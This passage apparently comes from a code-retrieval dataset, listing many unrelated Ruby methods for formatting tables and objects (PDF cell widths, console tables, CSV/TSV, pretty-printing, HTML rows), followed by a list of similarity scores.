"def details_data\n# column_widths = @settings.collect{|s| pdf.width_of(s[:header].last, :size => pdf.font_size) + 5 }\n\n font_size = pdf.font_size\n padding = (cell_padding + cell_border_width)*2\n @rows.collect do |r|\n @settings.collect{|s|\n content = \"\"\n align = :left\n contents = []\n \n if s[:header].first == \"remark\"\n content = r.remark.to_s\n contents += content.split(/\\r?\\n/)\n elsif s[:header].first == \"revision_no\"\n case r\n when HeaderRow\n content = r.latest_revision_no.to_s\n when RevisionRow\n content = r.rev_no.to_s\n when DetailRow\n content = r.revision_row.rev_no.to_s\n end\n contents << content\n else\n field = Field.field_by_row(s[:header].first, r)\n actual_row = Field.row_by_field(field, r)\n content = Field.value_by_field_name(field, actual_row) unless actual_row.nil?\n contents += content.to_s.split(/\\r?\\n/)\n\n case field\n when Fields::Formula, Fields::Accumulation\n align = :right\n else\n case field.custom_field\n when CustomFields::NumericField\n align = :right\n when CustomFields::DateTimeField\n align = :center\n end\n end\n end\n \n max_content_width = contents.collect{|c| pdf.width_of(c, :size => font_size) }.max\n\n width = max_content_width.to_i + padding\n \n {\n :content => content,\n :align => align,\n :width => width\n }\n }\n end\n end",
"def grouped_column_names_for(object)\n object.column_names.map { |column| \"#{object.table_name}.#{column}\" }.join(', ')\n end",
"def simple_table(hash, opts = {})\n SimpleTable.new(hash, opts).to_s\n end",
"def awesome_data_mapper_instance(object)\n return object.inspect if !defined?(::ActiveSupport::OrderedHash)\n return awesome_object(object) if @options[:raw]\n\n data = object.class.properties.map(&:name).inject(::ActiveSupport::OrderedHash.new) do |hash, name|\n value = object.respond_to?(name) ? object.send(name) : object.read_attribute(name)\n hash[name.to_sym] = value\n hash\n end\n \"#{object} \" << awesome_hash(data)\n end",
"def m_tabla_fields(objeto)\n\t\tobjeto.class::TABLA_FIELDS\n\tend",
"def tablerow_array(objects)\n tablerow = []\n objects.each do |object|\n tablerow << RowData.new(object.row_cells)\n end\n tablerow\n end",
"def print_table(columns, data, print_headings = true)\n\n # Fill base lengths\n columns.each do |col|\n col[:length] = (print_headings ? col[:title].length : 0)\n end\n\n # Compute maximum length of each field\n data.each do |datum|\n\n columns.each do |col|\n if (col[:func] != nil)\n str = col[:func].call(datum).to_s\n else\n str = datum[col[:key]].to_s\n end\n str = str.gsub(/\\e\\[[0-9;]*m/, '') # eliminate \"colors\"\n col[:length] = [ col[:length], str.length ].max\n end\n\n end\n\n # Create the format string\n table_format_row = '|'\n columns.each do |col|\n if (col[:type] == :int)\n table_format_row << sprintf(\" %%%dd |\", col[:length])\n else\n table_format_row << sprintf(\" %%-%ds |\", col[:length])\n end\n end\n table_format_row << \"\\n\"\n\n # Special line: title\n table_format_title = \"\\e[1m\\e[4m\" +\n table_format_row.gsub(/%-?([0-9]+)[a-z]/, '%-\\1s').gsub(/\\|/, ' ') + \"\\e[m\"\n\n # Create the horizontal line\n table_horizontal = '+'\n columns.each do |col|\n table_horizontal << '-' * (col[:length]+2) << '+'\n end\n\n # Print table\n if (print_headings)\n titles = []\n columns.each do |col|\n titles << col[:title]\n end\n #puts table_horizontal\n printf(table_format_title, *titles);\n else\n puts table_horizontal\n end\n\n data.each do |datum|\n cols_ary = []\n columns.each do |col|\n if (col[:func])\n cols_ary << col[:func].call(datum)\n else\n cols_ary << datum[col[:key]]\n end\n end\n printf(table_format_row, *cols_ary)\n #puts table_horizontal\n end\n puts table_horizontal\n\nend",
"def each_object(with_table=false)\n self.each_hash(with_table){|row| yield(Row.convert(row, self.fetch_fields, with_table)) }\n end",
"def table_entry(item)\n line = item.name.dup\n line << \"|#{format_coverage(item.total_percentage)}\"\n line << \"|#{format_coverage(item.line_rate)}\" if header_line_rate?\n line << \"|#{format_coverage(item.branch_rate)}\" if header_branch_rate?\n line << \"\\n\"\n end",
"def summary_row(args={})\n\t\t'\n\t\t\t<tr>\n\t\t\t\t<td>' + self.created_at.strftime(\"%b %-d_%Y\") + '</td>\n\t\t\t\t<td>' + (self.payable_to_organization_id || \"-\") + '</td>\n\t\t\t\t<td>' + (self.payable_from_organization_id || \"-\") + '</td>\n\t\t\t\t<td>' + (self.payable_from_patient_id || \"-\") + '</td>\n\t\t\t\t<td>' + self.total.to_s + '</td>\n\t\t\t\t<td>' + self.paid.to_s + '</td>\n\t\t\t\t<td>' + self.pending.to_s + '</td>\n\t\t\t\t<td><div class=\"edit_nested_object\" data-id=' + self.unique_id_for_form_divs + '>Edit</div></td>\n\t\t\t</tr>\n\t\t'\n\tend",
"def outf(obj, ios=nil, &block)\n fmt = $cfg['tool.outformat']\n ios = $stdout if ios.nil?\n case fmt\n when /yaml/i\n ios.puts Hash.transform_keys_to_strings(obj).to_yaml\n when /pp/\n pp obj\n when /json/i\n ios.puts obj.to_json\n else # aka best.\n # sometime ‘best’ is only know by the caller, so block.\n if block_given? then\n yield obj, ios\n else\n if obj.kind_of?(Array) then\n obj.each {|i| ios.puts i.to_s}\n else\n ios.puts obj.to_s\n end\n end\n end\n end",
"def format(obj)\n case obj\n when Time\n obj.strftime(\"%Y-%m-%d\")\n when Date, Gem::Version, Gem::Requirement\n obj.to_s\n else\n obj\n end\n end",
"def inspect\n pairs = []\n # Use the table's column list to order our columns\n @table.columns.each { |name| pairs << \"#{name}: #{@attributes[name].inspect}\"}\n inspection = pairs.compact.join(', ')\n \"#<#{self.class} #{inspection}>\"\n end",
"def format_object_name_list(objects); end",
"def data_format\n object.content\n end",
"def pp_hash(obj, anno)\n s = \"#{anno}{\"\n group(1, s, '}') {\n seplist(obj, nil, :each_pair) {|k, v|\n group {\n pp k\n text ':'\n group(1) {\n breakable ' '\n pp v\n }\n }\n }\n }\n end",
"def load_table_heading(conn, builder, table)\n primary_key_columns = []\n builder.heading{\n columns = conn.schema(table, {:reload => true})\n columns.each do |name, info|\n #puts info.inspect\n \n # find attribute definition\n defn = {:domain => dbtype_to_ruby_type(info),\n :mandatory => !info[:allow_null] }\n unless info[:ruby_default].nil?\n defn[:default] = info[:ruby_default]\n end\n \n # mark primary key columns\n if primary_key_columns and info[:primary_key]\n primary_key_columns << name \n end\n \n # build the attribute\n builder.attribute(name, defn)\n end\n }\n primary_key_columns\n end",
"def print_object(object, threshold = '')\n out = '{' + \"\\n\"\n out << threshold + '\"ressource_type\": \"' + object.class.to_s + '\"' + \"\\n\"\n out << threshold + ',\"instance_name\": \"' + object.instance_name + '\"' + \"\\n\"\n\n object.list_of_attributes.each do |a|\n out << print_attribute(a.to_s, object.get_value(a.to_s), threshold)\n end\n out << '}'\n end",
"def index_format_info(solr_doc)\n Solrizer.insert_field(solr_doc, 'object_type', object.human_readable_type, :facetable)\n\n\n #Solrizer.insert_field(solr_doc, 'object_type', model_s, :facetable) if model_s\n #Solrizer.insert_field(solr_doc, 'object_type', model_s, :symbol) if model_s\n\n\n # At this point primary classification is complete but there are some outlier cases where we want to\n # Attribute two classifications to one object, now's the time to do that\n ##,\"info:fedora/cm:Audio.OralHistory\",\"info:fedora/afmodel:TuftsAudioText\" -> needs text\n ##,\"info:fedora/cm:Image.HTML\" -->needs text\n #if [\"info:fedora/cm:Audio\",\"info:fedora/afmodel:TuftsAudio\",\"info:fedora/afmodel:TuftsVideo\"].include? model\n # unless self.datastreams['ARCHIVAL_XML'].dsLocation.nil?\n # Solrizer.insert_field(solr_doc, 'object_type', 'Text', :facetable)\n # Solrizer.insert_field(solr_doc, 'object_type', 'Text', :symbol)\n # end\n #end\n end",
"def dump\n output = ''\n @objects_table.keys.sort.each do |key|\n object_entry = @objects_table[key]\n name = object_entry.__name__\n type = object_entry.__type__\n #\n # use the inspect to make ruby 1.8.7 and 1.9.3 compatible\n #\n object = lookup(type, name).to_hash.inspect\n output << \"#{type}(#{name}) = #{object}\\n\"\n end\n output\n end",
"def write(format_obj)\n format_obj.header + format_obj.format(@citations) + format_obj.footer\n end",
"def inspect\n str = \"<#{self.class}\"\n for k,v in (@__table__ ||= {})\n str << \" #{k}=#{v.inspect}\"\n end\n str << \">\"\n end",
"def table_opts\n {\n converters: [YEAR_NORMALIZER, :float],\n headers: true,\n header_converters: [->(header) { normalize_key(header) }],\n # Needed to retrieve the headers in case of an otherwise empty csv file\n return_headers: true\n }\n end",
"def table \n table = data.map do |slot|\n slot.position.to_s.ljust(12) + slot.license_plate.ljust(19) + slot.color + \"\\n\" if slot\n end.join('')\n end",
"def make_dto(tablename,entity) \n @tablename = camerize(tablename)\n @entity = entity\n make_header\n make_main\n end",
"def to_tsv(columns, delim = \"\\t\")\n str = \"\"\n columns.each do |col|\n str << col.name.to_s.titleize + delim\n end\n str << \"\\n\"\n self.each do |object|\n columns.each do |col|\n str << object.send(col.name.to_s).to_s + delim if\n object.respond_to?(col.name.to_s)\n end\n str << \"\\n\"\n end\n str\n end",
"def index_table(klass, objects)\n # get links from class' helper\n links = send(\"#{klass.table_name}_index_links\", objects).compact\n\n # if there are any batch links, insert the 'select all' link\n batch_ops = !links.reject{|l| !l.match(/class=\"batch_op_link\"/)}.empty?\n links.insert(0, select_all_link) if batch_ops\n \n # render, getting fields and checking if there are no objects at all\n render(\"layouts/index_table\",\n :klass => klass,\n :objects => objects,\n :paginated => objects.respond_to?(:total_entries),\n :links => links.flatten.join.html_safe,\n :fields => send(\"#{klass.table_name}_index_fields\"),\n :batch_ops => batch_ops\n )\n end",
"def pp_hash(obj)\n group(1, '{', '}') {\n seplist(obj, nil, :each_pair) {|k, v|\n group {\n pp k\n text '=>'\n group(1) {\n breakable ''\n pp v\n }\n }\n }\n }\n end",
"def table\n @assets.collect() do |asset|\n # Available keys\n # [\"cusip\", \"accountName\", \"description\", \"tradingRatio\", \"source\",\n # \"type\", \"taxCost\", \"originalTicker\", \"originalCusip\", \"holdingType\",\n # \"price\", \"percentOfParent\", \"fundFees\", \"percentOfTMV\", \"value\",\n # \"originalDescription\", \"ticker\", \"quantity\", \"manualClassification\",\n # \"oneDayValueChange\", \"change\", \"sourceAssetId\", \"feesPerYear\",\n # \"external\", \"userAccountId\", \"priceSource\", \"costBasis\", \"exchange\",\n # \"oneDayPercentChange\"]\n [\n asset[\"accountName\"],\n asset[\"description\"],\n classes[-3], # My Class\n classes[-2], # One of the 7 Classes\n classes[-1], # Sector\n asset[\"ticker\"],\n asset[\"quantity\"],\n asset[\"price\"],\n asset[\"value\"],\n asset[\"cusip\"],\n asset[\"taxCost\"],\n asset[\"fundFees\"],\n asset[\"feesPerYear\"],\n asset[\"type\"],\n \"EOL\"\n ]\n end\n end",
"def parse_table; end",
"def create_resources_table(flattened_resources)\n table = []\n if (flattened_resources.nil? || flattened_resources.size == 0)\n return table\n end\n\n # Headings.\n base_headings = [ 'resource', 'type', 'depends_on', 'instance', 'id' ]\n attr_headings = []\n flattened_resources.each do |r|\n r['attributes'].keys.each do |k|\n attr_headings << k unless attr_headings.include?(k)\n end\n end\n table << base_headings + attr_headings\n\n # Resource data corresponding to headings.\n flattened_resources.each do |r|\n table << get_resource_row(r, attr_headings)\n end\n\n table\nend",
"def to_table_format(table)\n #change to format module\n CliBuilder::Menu.modelcase(table).constantize\n end",
"def _deep_output(io, obj, depth: 0)\n if obj.is_a? Hash\n obj.each do |k, v|\n io.print ' ' * depth\n io.puts k.to_s\n _deep_output(io, v, depth: depth+1)\n end\n else\n obj.each do |array|\n key = array[0]\n title = _adjust(array[1])\n text = array[2]\n io.print ' ' * depth\n io.print ColorUtils.color(key, title)\n io.print ' '\n io.puts text\n end\n end\n end",
"def objects(with_table=false, &block)\n hashes(with_table) do |row|\n row = Row.convert(row, self.fetch_fields, with_table)\n (block) ? yield(row) : row\n end\n end",
"def formatStruct(theLines)\n\t# TODO\nend",
"def objects_to_csv(headers=nil, objects, &block)\n csv_data = ::CSV.generate_line headers\n objects.each do |object|\n csv_data << ::CSV.generate_line(yield(object))\n end\n csv_data\n end",
"def totals_table\n strings = []\n strings << \"#{@labels[:subtotal]}:\"\n strings << @document.subtotal\n strings << \"#{@labels[:tax]}:\"\n strings << @document.tax\n strings << \"#{@labels[:tax2]}:\"\n strings << @document.tax2\n strings << \"#{@labels[:tax3]}:\"\n strings << @document.tax3\n strings << \"#{@labels[:total]}:\"\n strings << @document.total\n strings\n end",
"def ar_index_table_data\n returning(\"\") do |result|\n \n for resource in @resources\n columns= [ar_label(resource)]\n\n controller.ardata.fields.for_index.each_with_index do |column_title, index|\n next if not @display_current_ar_index_table_column[index]\n columns << ar_get_resource_value(resource, column_title[0])\n end\n\n columns << ar_show_link(resource) if controller.ardata.links.include? :show\n columns << ar_edit_link(resource) if controller.ardata.links.include? :edit\n columns << ar_destroy_link(resource) if controller.ardata.links.include? :destroy\n\n columns= columns.map{|elem| content_tag :td, elem}.join(\"\\n \")\n columns= \"\\n #{columns}\\n \"\n\n result << \"\\n #{content_tag(:tr, columns, :class => cycle(\"even\", \"odd\")) }\\n\" \n end\n\n #Die!! Array :) See ar_index_table_headers\n @display_current_ar_index_table_column= nil\n end\n end",
"def to_s\n \"id:\\t#{@id}\\t\\tname:\\t#{name}\\t\\trating:\\t#{rating}\\t\\tstudio:\\t#{studio}\\t\\tlength:\\t#{length}\"\n end",
"def to_s\n \"id:\\t#{@id}\\t\\tname:\\t#{name}\\t\\trating:\\t#{rating}\\t\\tstudio:\\t#{studio}\\t\\tlength:\\t#{length}\"\n end",
"def pretty(object)\n PP.pp(object, out)\n end",
"def to_s\n header_output = build_header_output\n data_output = build_data_output\n\n string = ''\n string << Yummi.colorize(@title, @style[:title]) << $/ if @title\n string << Yummi.colorize(@description, @style[:description]) << $/ if @description\n table_data = header_output + data_output\n if @layout == :vertical\n # don't use array transpose because the data may differ in each line size\n table_data = rotate table_data\n end\n string << content(table_data)\n end",
"def genrateTabledesc(tabName)\n [email protected](\"select obj_description(oid) from pg_class where relname='#{tabName}'\")\n retType=\"\"\n for i in res\n retType = retType + \"#{i[0].to_s}\"\n end\n return retType\n end",
"def write_raw(obj)\n\n # To write\n raw_data = obj.to_json\n\n # File name\n file_name = \"#{Repository.data_dir}#{obj.id}.json\"\n\n File.open(file_name, 'w') do |f|\n f.puts(raw_data)\n end\n end",
"def to_s\n \"\"\"\n <tr>\n <td>#{@name}</td>\n <td>#{@version}</t>\n <td>#{@release}</td>\n <td>#{@architecture}</td>\n <td>#{@description}</td>\n <tr>\n \"\"\"\n end"
] | [
"0.63745046",
"0.6241079",
"0.62046194",
"0.5997506",
"0.5989809",
"0.59521073",
"0.5918139",
"0.58749056",
"0.58509296",
"0.5800575",
"0.578684",
"0.578684",
"0.5783817",
"0.5769742",
"0.57531536",
"0.574793",
"0.57232594",
"0.5713948",
"0.5704228",
"0.56967455",
"0.5633141",
"0.5614438",
"0.5573691",
"0.5537945",
"0.5522724",
"0.55076814",
"0.5488932",
"0.548793",
"0.54848534",
"0.5482798",
"0.54764915",
"0.5473185",
"0.5468785",
"0.5456093",
"0.5445707",
"0.54399836",
"0.5439088",
"0.54378134",
"0.5424805",
"0.54236",
"0.53931594",
"0.53646505",
"0.5354119",
"0.53331995",
"0.5314491",
"0.5311578",
"0.5302866",
"0.5292629",
"0.52819616",
"0.5267938",
"0.5264133",
"0.52498454",
"0.5246942",
"0.52450645",
"0.5231712",
"0.52175295",
"0.5211338",
"0.52022505",
"0.52001256",
"0.51921463",
"0.51849383",
"0.5179516",
"0.5172594",
"0.5171781",
"0.5169574",
"0.5168482",
"0.5166971",
"0.5165997",
"0.5152357",
"0.5151749",
"0.5144659",
"0.5140052",
"0.5136107",
"0.51327103",
"0.5124956",
"0.51249063",
"0.5124882",
"0.5108763",
"0.5104611",
"0.5099035",
"0.5096583",
"0.5092608",
"0.50873965",
"0.5085733",
"0.50839525",
"0.50806844",
"0.5074235",
"0.50632143",
"0.5061943",
"0.5061304",
"0.50556135",
"0.50492173",
"0.5048774",
"0.5046762",
"0.5046762",
"0.5045349",
"0.503997",
"0.5037524",
"0.5037151",
"0.5032192"
] | 0.7606932 | 0 |
Format +obj+ results as cards | def format_results(obj)
o = ''
obj.each_result do |key, res|
links = format_result_links(res)
stats = format_result_stats(res)
next unless links || stats
name = format_name(key)
url_doc =
'http://manual.microbial-genomes.org/part5/workflow#' +
key.to_s.tr('_', '-')
o += <<~CARD
<div class="col-md-6 mb-4">
<h3>#{name}</h3>
<div class='border-left p-3'>
#{stats}
#{links}
</div>
<div class='border-top p-2 bg-light'>
<a target=_blank href="#{url_doc}" class='p-2'>Learn more</a>
</div>
</div>
CARD
end
"<div class='row'>#{o}</div>"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def format_result(obj)\n formatted_str = \"\\n\\nSearch Results: \\n\\n\"\n obj.each do |key, value|\n unless key == \"_id\"\n\t key_str = key.capitalize\n\t if value.kind_of?(Array)\n\t\t \tformatted_str << key_str << \": \"\n\t\t \tvalue.each do |var|\n\t\t \t\tformatted_str << var.to_s << ((var == value.last) ? \"\" : \",\")\n\t\t \tend\n\t\t \tformatted_str << \"\\n\"\n\t elsif value.is_a?(Hash)\n\t\t formatted_str << key_str << \": \" << \"\\n\"\n\t\t value.each do |var_key, var_value|\n\t\t formatted_str << \"\\t\" << var_key << \":\" << var_value << \"\\n\"\n\t\t end\n\t else\n\t\t formatted_str << key_str << \": \" << value.to_s << \"\\n\"\n\t end\n\t end\n end\n formatted_str\n end",
"def render(obj)\n # We can't use a case statement here becuase \"when Hash\" doesn't work for\n # ActiveSupport::OrderedHash - respond_to?(:values) is a more reliable\n # indicator of hash-like behavior.\n if NilClass === obj\n print(\"null\")\n \n elsif TrueClass === obj\n print(\"true\")\n \n elsif FalseClass === obj\n print(\"false\")\n \n elsif String === obj\n print(escape_json_string(obj))\n \n elsif Symbol === obj\n print(\"\\\"#{obj}\\\"\")\n \n elsif Numeric === obj\n print(obj.to_s)\n \n elsif Time === obj\n print(obj.to_s)\n \n elsif obj.respond_to?(:keys)\n print(\"{\")\n indent_out\n last_key = obj.keys.last\n obj.each do |(key, val)|\n render(key)\n case val\n when Hash, Array\n indent_out\n print(\":\\n#{indent}\")\n render(val)\n indent_in\n else\n print(\": \")\n render(val)\n end\n print(\",\\n#{indent}\") unless key == last_key\n end\n indent_in\n print(\"}\")\n \n elsif Array === obj\n print(\"[\")\n indent_out\n last_index = obj.size - 1\n obj.each_with_index do |elem, index|\n render(elem)\n print(\",\\n#{indent}\") unless index == last_index\n end\n indent_in\n print(\"]\")\n \n else\n raise \"unrenderable object: #{obj.inspect}\"\n end\n end",
"def print_cards\n str_arr = @cards.map { |card| card.to_s }\n cards_str = str_arr.join(\", \")\n \"#{@name}'s cards: #{cards_str}\"\n end",
"def SplitJsonObj(jsonObj, sortedBy)\n\tjsonObj.each do |color|\n\t\tputs \"\\n---\" + color[sortedBy] + \"---\\n\"\n\t\tputs color[\"cards\"]\n\tend\nend",
"def prettify(obj)\n # Most look best with pretty_inspect\n str = obj.pretty_inspect\n # Mashes need to be first converted to Hashes then pretty_inspect\n if obj.kind_of? Mash\n str = obj.to_hash.pretty_inspect\n end\n # For Arrays, pretty_inspect displays one value per line which\n # uses up too much real estate\n if obj.kind_of? Array\n str = obj.inspect\n end\n # Manually format Hashes so keys and values each display in columns\n if obj.kind_of? Hash\n key_length = 0\n obj.keys.each do |key|\n key_length = key.length if key.length > key_length\n end\n buf = []\n obj.each do |key,value|\n buf << sprintf(\"%-#{key_length}.#{key_length}s => %s\", key, value)\n end\n str = buf.join(\"\\n\")\n end\n str\n end",
"def display_object\n\tputs \"Name: #{name}\"\n\tpretty_price = format(\"%0.2f\", price)\n\tputs \"Price: $#{pretty_price}\"\n\tputs \"Size: #{size}\"\n end",
"def to_hcard(options = {}, &block)\n result = []\n clasess = ['fn']\n clasess << 'org' if org == fn\n if url?\n clasess << 'url'\n result << \"<a class='#{clasess.join(' ')}' href='#{url}'>#{fn}</a>\"\n else\n result << \"<span class='#{clasess.join(' ')}'>#{fn}</span>\"\n end\n result << \"(<span class='nickname'>#{nickname}</span>)\" if nickname?\n result << \"<abbr class='bday' title='#{bday.to_s}'>#{I18n.l(bday, :format => :long)}</abbr>\" if bday?\n result << \"<span class='title'>#{title}</span>\" if title?\n result << \"<span class='role'>#{role}</span>\" if role?\n result << \"<span class='org'>#{org}</span>\" if org.present? && org != fn\n vcard_adrs.each do |adr|\n result << adr.to_hcard\n end\n result << \"<abbr class='geo' title='#{geo}'>Location</abbr>\" if geo.present?\n # result << \"<span class='geo'><abbr class='latitude' title='#{latitude}'>N 48° 81.6667</abbr><abbr class='longitude' title='2.366667'>E 2° 36.6667</abbr></span>\" if geo.present?\n vcard_tels.each do |tel|\n result << tel.to_hcard\n end\n vcard_emails.each do |email|\n result << email.to_hcard\n end\n # result.compact!\n result << agent.to_hcard if agent_id? # TODO add agent class?\n main_tag_name = options.fetch(:main_tag_name, 'div')\n (\"<#{main_tag_name} class='vcard'>\" << result.join(' ') << \"</#{main_tag_name}>\").html_safe \n end",
"def display\n\t\t@deck_of_cards.each.with_index do |card, i|\n\t\t\tputs \"#{i}=> #{card.display}\"\n\t\tend\n\tend",
"def cards\n\t\[email protected] do |card|\n\t\t\tputs card.card\n\t\tend\n\tend",
"def to_s\n result = \"\"\n count = 0\n for card in @cards\n result << \"#{card} \"\n count += 1\n if count > 12 \n count = 0\n result << \"\\n\"\n end\n end \n return result\n end",
"def display_stream_object(obj, current_user_id)\n separator = \"\\n\"\n dbl_separator = \"\\n\\n\"\n meth = __method__\n if obj.is_a?(Tw::Tweet) then\n lastTweet = obj\n self.renderer.display([obj], @options.format(), separator: separator, current_user_id: current_user_id)\n elsif obj.is_a?(Tw::DMTweet) then\n self.renderer.display([obj], @options.format(), separator: separator, current_user_id: current_user_id)\n elsif obj.is_a?(Tw::Stream::Message) then\n self.renderer.display_stream_message(obj, @options.format, separator: separator)\n elsif obj.is_a?(Hash) && obj.size > 0 then\n if obj[:friends] then\n self.renderer.display_stream_message(obj, @options.format, separator: separator)\n else\n # Unknown data\n self.renderer.display_stream_message(obj, @options.format(), separator: separator)\n end\n else\n # do_nothing()\n end\n end",
"def to_s\n result = \"\"\n self.each { |card | result << \"#{card} \" } \n return result\n end",
"def to_s\n\t\tstr = \"\"\n\t\[email protected] do |card|\n\t\t\tstr += \"#{card} \"\n\t\tend\t\n\t\tstr.strip\t\n\tend",
"def cards\n object.game_cards.map do |gc|\n { id: gc.card.id, word: gc.card.word, identity: gc.identity }\n end\n end",
"def result_to_string(object)\n if object.is_a?(String) then\n return object\n else\n if defined?(awesome_inspect)\n return object.awesome_inspect({:plain=>true, :index=>false})\n elsif defined?(pretty_inspect)\n return object.pretty_inspect.chomp # Remove new line that PrettyInspect adds at the end https://www.ruby-forum.com/topic/113429\n else\n return object.inspect\n end\n end\n end",
"def cards\n # all_cards = {}\n object.stock_cards.map do |stock|\n {id: stock.id, user_id: stock.user_id, company: stock.company, buy_price: stock.buy_price, sell_price: stock.sell_price}\n end\n end",
"def printCard\n \"#{@color[0]}#{@fillType[0]}#{@shapeType[0]}#{@numberOfSymbols[0]}\"\n end",
"def display_deck\n @deck_array.each do |x|\n x.display_card\n end\n end",
"def pretty(object)\n PP.pp(object, out)\n end",
"def format(object, opts = {})\n object.ai(opts.merge(html: true))\n end",
"def to_s\n cards.map(&:to_s).join(' ')\n end",
"def cards_print(cards)\n print_this = cards.each {|x, y| print x.to_s, ', '}\n end",
"def print_objects\n @header_object.each_pair do |key,val|\n puts \"#{key}: #{val[0]} #{val[1]} #{val[2]}\"\n end\n end",
"def outf(obj, ios=nil, &block)\n fmt = $cfg['tool.outformat']\n ios = $stdout if ios.nil?\n case fmt\n when /yaml/i\n ios.puts Hash.transform_keys_to_strings(obj).to_yaml\n when /pp/\n pp obj\n when /json/i\n ios.puts obj.to_json\n else # aka best.\n # sometime ‘best’ is only know by the caller, so block.\n if block_given? then\n yield obj, ios\n else\n if obj.kind_of?(Array) then\n obj.each {|i| ios.puts i.to_s}\n else\n ios.puts obj.to_s\n end\n end\n end\n end",
"def display\n print(\"Card: #{@id} \")\n print(\"Number: #{@number} \")\n print(\"Color: #{@color} \")\n print(\"Shape: #{@shape} \")\n puts(\"Shade: #{@shade}\")\n end",
"def display_search_results(objects)\n objects.limit(results_limit).reduce(String.new) do |string, object|\n string << (tag.tr display_search_results_row(object))\n end\n end",
"def inspect_in_object(obj, opts)\n val = obj.send(name)\n str =\n begin\n val.inspect_with_options(opts)\n rescue NoMethodError\n val.inspect\n end\n (f=@format) ? (f % str) : str\n end",
"def print_object(issues)\n if issues.nil?\n raise \"nil issue\"\n end\n if !issues.is_a? Array\n issues = [issues]\n end\n\n count = issues.length\n if issues.empty?\n return \"0 rows returned\"\n end\n\n table = Terminal::Table.new do |t|\n if @set_width\n width, height = HighLine::SystemExtensions.terminal_size\n t.style = {:width => width}\n end\n header = []\n sorted_fields = sort_fields(filter_fields(issues.first.keys))\n sorted_fields.each do |key|\n h = key.to_s.capitalize\n h = h.blue if @color\n header << h\n end\n\n t << header\n t << :separator\n\n issues.each do |hash|\n row = []\n sorted_fields.each do |key|\n row << format_field(hash, key)\n end\n t << row\n end\n end.to_s + \"#{count} rows returned\"\n end",
"def printCardArray()\n\t\tprint @cards\n\tend",
"def to_s\n @cards.map(&:to_s).join(' ')\n end",
"def describe_objects\r\n sorted_contents.each { |obj|\r\n article = 'aeiou'.include?(obj[0..0].downcase) ? 'an' : 'a'\r\n puts \"There is #{article} #{obj} on the ground.\"\r\n }\r\n end",
"def hcard(record, options = {})\n h = {} \n case record\n when User\n user = record\n h[:fn] = user.name\n h[:tel] = user.phone\n h[:email] = user.email\n h[:url] = user_url(user)\n when Label\n label = record\n h[:org] = true\n h[:fn] = label.name\n h[:tel] = label.phone\n h[:email] = label.email\n h[:url] = label_url(label)\n when Artist\n return \"\"\n else\n raise \"Record of type '#{record.class}' cannot be represented as hCard\"\n end\n \n content_tag(:div,\n (h[:org] ? content_tag(:span, link_to(content_tag(:span, h[:fn], :class => 'fn org'), \n h[:url], :class => 'url')) :\n content_tag(:span, link_to([content_tag(:span, h[:fn].first, :class => 'given-name'), \n content_tag(:span, h[:fn].last, :class => 'family-name')].join(' '), \n h[:url], :class => 'url'), \n :class => \"fn n\")) +\n content_tag(:span, \n content_tag(:span, 'work', :class => 'type hide') +\n content_tag(:span, number_to_phone(h[:tel]), :class => 'value'),\n :class => 'tel') +\n content_tag(:span, \n content_tag(:span, 'work', :class => 'type hide') +\n mail_to(h[:email], h[:email], :encode => :javascript, :class => 'value'), \n :class => 'email'),\n :class => ['vcard', options[:class]].join(' '))\n end",
"def echo obj\n str = obj.to_s\n write str\n end",
"def _deep_output(io, obj, depth: 0)\n if obj.is_a? Hash\n obj.each do |k, v|\n io.print ' ' * depth\n io.puts k.to_s\n _deep_output(io, v, depth: depth+1)\n end\n else\n obj.each do |array|\n key = array[0]\n title = _adjust(array[1])\n text = array[2]\n io.print ' ' * depth\n io.print ColorUtils.color(key, title)\n io.print ' '\n io.puts text\n end\n end\n end",
"def to_s\n just_cards + \" (\" + hand_rating + \")\"\n end",
"def println obj\n echo(obj.to_s + \"\\n\")\n end",
"def printCard\n\t\tputs \"+--------- +\"\n\t\tif @health/10 == 0\n\t\t\tputs \"| hp: #{@currentHealth} |\"\n\t\telse \n\t\t\tputs \"| hp: #{@currentHealth} |\"\n\t\tend\n\t\tputs \"| |\"\n\t\tif @attack/10 == 0\n\t\t\tputs \"| atk: #{@attack} |\"\n\t\telse \n\t\t\tputs \"| atk: #{@attack} |\"\n\t\tend\n\t\tputs \"| |\"\n\t\tputs \"| |\"\n\t\tputs \"+--------- +\"\n\tend",
"def show(an_object, expected_result, opts = {}, *args, &block)\n opts = {\n exclude_blank: false,\n force_exact: false,\n force_regex: false,\n show_all: false\n }.merge(opts)\n\n found = find(an_object, expected_result, opts, *args, &block)\n prettified = prettify_found(an_object, found, *args)\n max_length = prettified.map { |k, v| k.length }.max\n\n prettified.each { |k, v| puts \"#{k.ljust max_length} == #{v}\" }\n\n found\n end",
"def result_icon(obj, opts={})\n inner_html = \"\"\n\n display_name = obj.is_a?(Team) ? obj.name : obj.uniform_name\n display_number = obj.is_a?(Team) ? obj.abbrev : obj.uniform_number\n shirt_color = obj.is_a?(Team) ? obj.shirt_color : obj.team.shirt_color\n\n inner_html += content_tag(:span, display_name, :class=>\"name\") + content_tag(:span, display_number, :class=>\"number\")\n html_classes = opts[:class]\n html_classes = [\"athlete-icon\", \"result-icon\", html_classes]\n html_classes << \"shirt-#{shirt_color}\"\n\n html_attribs = {:class=>html_classes.join(\" \"), \"data-name\"=>display_name, \"data-number\"=>display_number}\n if obj.is_a?(Team)\n html_attribs[\"data-team\"] = obj.id\n elsif obj.is_a?(Registration)\n html_attribs[\"data-team\"] = obj.team_id\n html_attribs[\"data-registration\"] = obj.id\n end\n\n content_tag :div, inner_html.html_safe, html_attribs\n end",
"def pp(obj)\n id = obj.object_id\n\n if check_inspect_key(id)\n group {obj.pretty_print_cycle self}\n return\n end\n\n begin\n push_inspect_key(id)\n group {obj.pretty_print self}\n ensure\n pop_inspect_key(id) unless PP.sharing_detection\n end\n end",
"def to_s\n result = \"[#{@cards.join(\"|\")}]: \"\n if is_soft\n result += total.join(\" or \")\n else\n result += total.to_s\n end\n if is_bust\n result += \" BUSTED\"\n elsif is_bj\n result += \" BLACKJACK\"\n elsif total_high == 21\n result += \" NICE\"\n end\n return result\n end",
